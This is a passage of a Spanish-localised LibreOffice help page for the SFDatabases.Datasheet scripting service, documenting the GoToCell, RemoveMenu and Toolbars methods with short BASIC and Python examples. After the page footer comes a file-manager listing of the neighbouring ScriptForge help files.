</div>
    <p id="par_id231671105664098" class="paragraph" dir="auto"><span class="emph">row:</span> The row number as a numeric value starting at 1. If the requested row exceeds the number of existing rows, the cursor is moved to the last row. If this argument is not specified, then the row is not changed.</p>
    <p id="par_id941619079997124" class="paragraph" dir="auto"><span class="emph">column:</span> The name of the column as a <span class="literal">String</span> or the column position (starting at 1). If the requested column exceeds the number of existing columns, the cursor is moved to the last column. If this argument is not specified, then the column is not changed.</p>
    <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
    <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      ' Moves the cursor to the column "LastName" in row 4
      oSheet.GoToCell(4, "LastName")
      ' Moves the cursor to the third column of the current row
      oSheet.GoToCell(Column := 3)
      ' Moves cursor one row down leaving it in the same column
      oSheet.GoToCell(Row := oSheet.CurrentRow + 1)
      ' Moves to the last column of the last row
      Dim LastColumn As Integer : LastColumn = UBound(oSheet.ColumnHeaders) + 1
      oSheet.GoToCell(oSheet.LastRow, LastColumn)
    </code></pre></div>
    <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      sheet.GoToCell(4, "LastName")
      sheet.GoToCell(column=3)
      sheet.GoToCell(row=sheet.CurrentRow + 1)
      sheet.GoToCell(sheet.LastRow, len(sheet.ColumnHeaders))
    </code></pre></div>
  

  <a id="RemoveMenu"></a>
    
    <a id="bm_id341609648544472"></a>
      <meta itemprop="keywords" content="Datasheet service,RemoveMenu">
    
    <h2 id="hd_id61161309659147" dir="auto">RemoveMenu</h2>
    <p id="par_id801916099747090" class="paragraph" dir="auto">Removes a menu entry from the data view by its name.</p>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id511671106735805" dir="auto">This method can remove menus that belong to the standard user interface as well as menus that were programmatically added with the <span class="literal">CreateMenu</span> method. The removal of standard menus is not permanent and they will reappear after the window is closed and reopened.</p></div>
</div>
<br>
    <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
    <p id="par_id71615225513347" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.RemoveMenu(menuheader: str): bool</span>
    </p>
    <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
    <p id="par_id941619079997083" class="paragraph" dir="auto"><span class="emph">menuheader:</span> The case-sensitive name of the menu to be removed. The name must not include the tilde ("~") character.</p>
    <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
    <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      oSheet.RemoveMenu("Data")
    </code></pre></div>
    <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      sheet.RemoveMenu("Data")
    </code></pre></div>
  

  <a id="Toolbars"></a>
    
    <a id="bm_id531595692394747"></a>
      <meta itemprop="keywords" content="Datasheet service,Toolbars">
    
    <div class="embedded">
<a id="SF_Toolbars"></a>
  
  <h3 id="hd_id261501400121339" dir="auto">Toolbars</h3>
  <p id="par_id091612259727155" class="paragraph" dir="auto">This method returns either a list of the available toolbar names in the actual document or an instance <a target="_top" href="es/text/sbasic/shared/03/sf_toolbar.html"><span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">SFWidgets.Toolbar</span></a> service.</p>
  <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
  <p id="par_id2111634997222964" class="paragraph" dir="auto">
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.Toolbars(opt ToolbarName: str): uno</span><br>
    <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.Toolbars(): str[0..]</span>
  </p>
  <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
  <p id="par_id361580321120786" class="paragraph" dir="auto"><span class="emph">ToolbarName</span>: The usual name of one of the available toolbars.</p>
  <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
  <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
  <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim oToolbar As Object
    Set oToolbar = oDoc.Toolbars("myToolbar")
  </code></pre></div>
  <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
  <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
    a_list = doc.Toolbars()
  </code></pre></div>
  </div>
  

  <div class="embedded">
<a id="SF_InternalUse"></a>
      <div class="warning">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/warning.svg" alt="warning" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id851506659675843" dir="auto">Todas las rutinas o identificadores BASIC de <span class="literal">ScriptForge</span> precedidas por guion bajo «_» están reservadas para uso interno. No deben utilizarse en macros BASIC o secuencias Python.</p></div>
</div>
<br>
    </div>
  <a id="relatedtopics"></a><div class="relatedtopics">
<p class="related" itemprop="mentions" dir="auto"><a id="related"></a><span class="emph">Temas relacionados</span></p>
<div class="relatedbody" itemprop="mentions">
    <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_database.html"><span class="literal">SFDatabases</span>.<span class="literal">Database</span> service</a></p></div>
    <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_ui.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">UI</span></a></p></div>
  </div>
</div>
  </div>
<div id="DonationFrame"></div>
<footer><h2 style="text-align: center;"><a href="https://books.libreoffice.org" target="_blank">Libros de LibreOffice</a></h2>
<div class="noteicon" dir="auto" style="display:flex;justify-content:center;flex-wrap:wrap;row-gap:15px;">
<img src="media/navigation/libo-writer.svg" alt="Writer Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-calc.svg" alt="Calc Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-impress.svg" alt="Impress Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-draw.svg" alt="Draw Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-base.svg" alt="Base Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-math.svg" alt="Math Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-symbol-black.svg" alt="Getting Started Icon" style="width:60px;height:60px;">
</div>
<div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/shared/03/sf_datasheet.xhp" target="_blank">/text/sbasic/shared/03/sf_datasheet.xhp</a></p>
<p dir="auto">Title is: Servicio SFDatabases.Datasheet</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Filemanager

Name Type Size Permission Actions
avail_release.html File 8.05 KB 0644
lib_ScriptForge.html File 54.61 KB 0644
lib_depot.html File 5.35 KB 0644
lib_euro.html File 7.64 KB 0644
lib_formwizard.html File 5.38 KB 0644
lib_gimmicks.html File 7.76 KB 0644
lib_importwiz.html File 7.59 KB 0644
lib_schedule.html File 5.47 KB 0644
lib_script.html File 5.91 KB 0644
lib_template.html File 5.37 KB 0644
lib_tools.html File 74.88 KB 0644
lib_wikieditor.html File 5.62 KB 0644
sf_array.html File 84.5 KB 0644
sf_base.html File 45.49 KB 0644
sf_basic.html File 78.88 KB 0644
sf_calc.html File 209.75 KB 0644
sf_chart.html File 35.85 KB 0644
sf_database.html File 66.35 KB 0644
sf_dataset.html File 59.17 KB 0644
sf_datasheet.html File 42.59 KB 0644
sf_dialog.html File 164.91 KB 0644
sf_dialogcontrol.html File 92.57 KB 0644
sf_dictionary.html File 42.93 KB 0644
sf_document.html File 87.26 KB 0644
sf_exception.html File 47.22 KB 0644
sf_filesystem.html File 106.92 KB 0644
sf_form.html File 68.52 KB 0644
sf_formcontrol.html File 71.36 KB 0644
sf_formdocument.html File 24.99 KB 0644
sf_intro.html File 28.11 KB 0644
sf_l10n.html File 41.17 KB 0644
sf_menu.html File 36.53 KB 0644
sf_methods.html File 15.38 KB 0644
sf_platform.html File 32.07 KB 0644
sf_popupmenu.html File 32.73 KB 0644
sf_region.html File 48.56 KB 0644
sf_services.html File 13.42 KB 0644
sf_session.html File 58.96 KB 0644
sf_string.html File 125.2 KB 0644
sf_textstream.html File 28.87 KB 0644
sf_timer.html File 23.87 KB 0644
sf_toc.html File 136.53 KB 0644
sf_toolbar.html File 20.46 KB 0644
sf_toolbarbutton.html File 25.53 KB 0644
sf_ui.html File 63.35 KB 0644
sf_unittest.html File 62.35 KB 0644
sf_writer.html File 24.55 KB 0644
Filemanager